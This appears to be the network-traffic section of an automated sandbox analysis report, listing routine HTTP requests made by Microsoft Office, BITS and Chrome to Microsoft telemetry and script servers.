Source: global traffic	HTTP traffic detected: GET /rules/rule702501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule700500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703601v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703600v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703851v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703850v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703801v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703800v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703701v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703700v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703751v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703750v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704051v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704050v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703951v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703950v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700001v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700000v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703051v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703050v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703551v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703550v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704001v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704000v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /scripts/c/ms.jsll-4.min.js HTTP/1.1Host: js.monitor.azure.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://learn.microsoft.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /mscc/lib/v2/wcp-consent.js HTTP/1.1Host: wcpstatic.microsoft.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://learn.microsoft.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule703300v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703301v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
